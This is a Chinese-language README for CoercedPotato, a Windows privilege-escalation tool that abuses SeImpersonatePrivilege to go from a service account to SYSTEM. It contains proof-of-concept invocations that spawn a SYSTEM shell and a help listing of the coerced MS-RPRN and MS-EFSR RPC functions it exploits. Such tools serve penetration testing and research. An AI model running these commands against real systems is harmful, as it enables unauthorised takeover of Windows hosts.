在 Windows 10、Windows 11 和 Server 2022 上,通过滥用 SeImpersonatePrivilege 从 Patate(LOCAL/NETWORK SERVICE)提权至 SYSTEM。
更多信息:https://blog.hackvens.fr/articles/CoercedPotato.html。
一个非常简短的 PoC:
.\CoercedPotato.exe -c whoami
另一个带交互式 shell 的 PoC:
.\CoercedPotato.exe -c cmd.exe
你可以使用 --help 选项查看帮助信息。
____ _ ____ _ _
/ ___|___ ___ _ __ ___ ___ __| | _ \ ___ | |_ __ _| |_ ___
| | / _ \ / _ \ '__/ __/ _ \/ _` | |_) / _ \| __/ _` | __/ _ \
| |__| (_) | __/ | | (_| __/ (_| | __/ (_) | || (_| | || (_) |
\____\___/ \___|_| \___\___|\__,_|_| \___/ \__\__,_|\__\___/
@Hack0ura @Prepouce
CoercedPotato 是一个利用 SeImpersonatePrivilege 或 SeImpersonatePrimaryToken 进行提权利用的自动化工具。
用法:.\CoercedPotato.exe [OPTIONS]
选项:
-h,--help 打印此帮助信息并退出
-c,--command TEXT REQUIRED 以 SYSTEM 身份执行的程序(例如 cmd.exe)
-i,--interface TEXT 可选,要使用的接口(默认:ALL)(可能的值:ms-rprn、ms-efsr
-n,--exploitId INT 可选,利用 ID(仅在定义了接口时可用)
-> ms-rprn :
[0] RpcRemoteFindFirstPrinterChangeNotificationEx()
[1] RpcRemoteFindFirstPrinterChangeNotification()
-> ms-efsr
[0] EfsRpcOpenFileRaw()
[1] EfsRpcEncryptFileSrv()
[2] EfsRpcDecryptFileSrv()
[3] EfsRpcQueryUsersOnFile()
[4] EfsRpcQueryRecoveryAgents()
[5] EfsRpcRemoveUsersFromFile()
[6] EfsRpcAddUsersToFile()
[7] EfsRpcFileKeyInfo() # 不可用
[8] EfsRpcDuplicateEncryptionInfoFile()
[9] EfsRpcAddUsersToFileEx()
[10] EfsRpcFileKeyInfoEx() # 不可用
[11] EfsRpcGetEncryptedFileMetadata()
[12] EfsRpcEncryptFileExSrv()
[13] EfsRpcQueryProtectors()
-f,--force BOOLEAN 即使显示“Exploit worked!”也强制尝试所有 RPC 函数(默认值:false)
--interactive BOOLEAN 设置进程应在同一 shell 中运行还是打开新窗口。(默认值:true)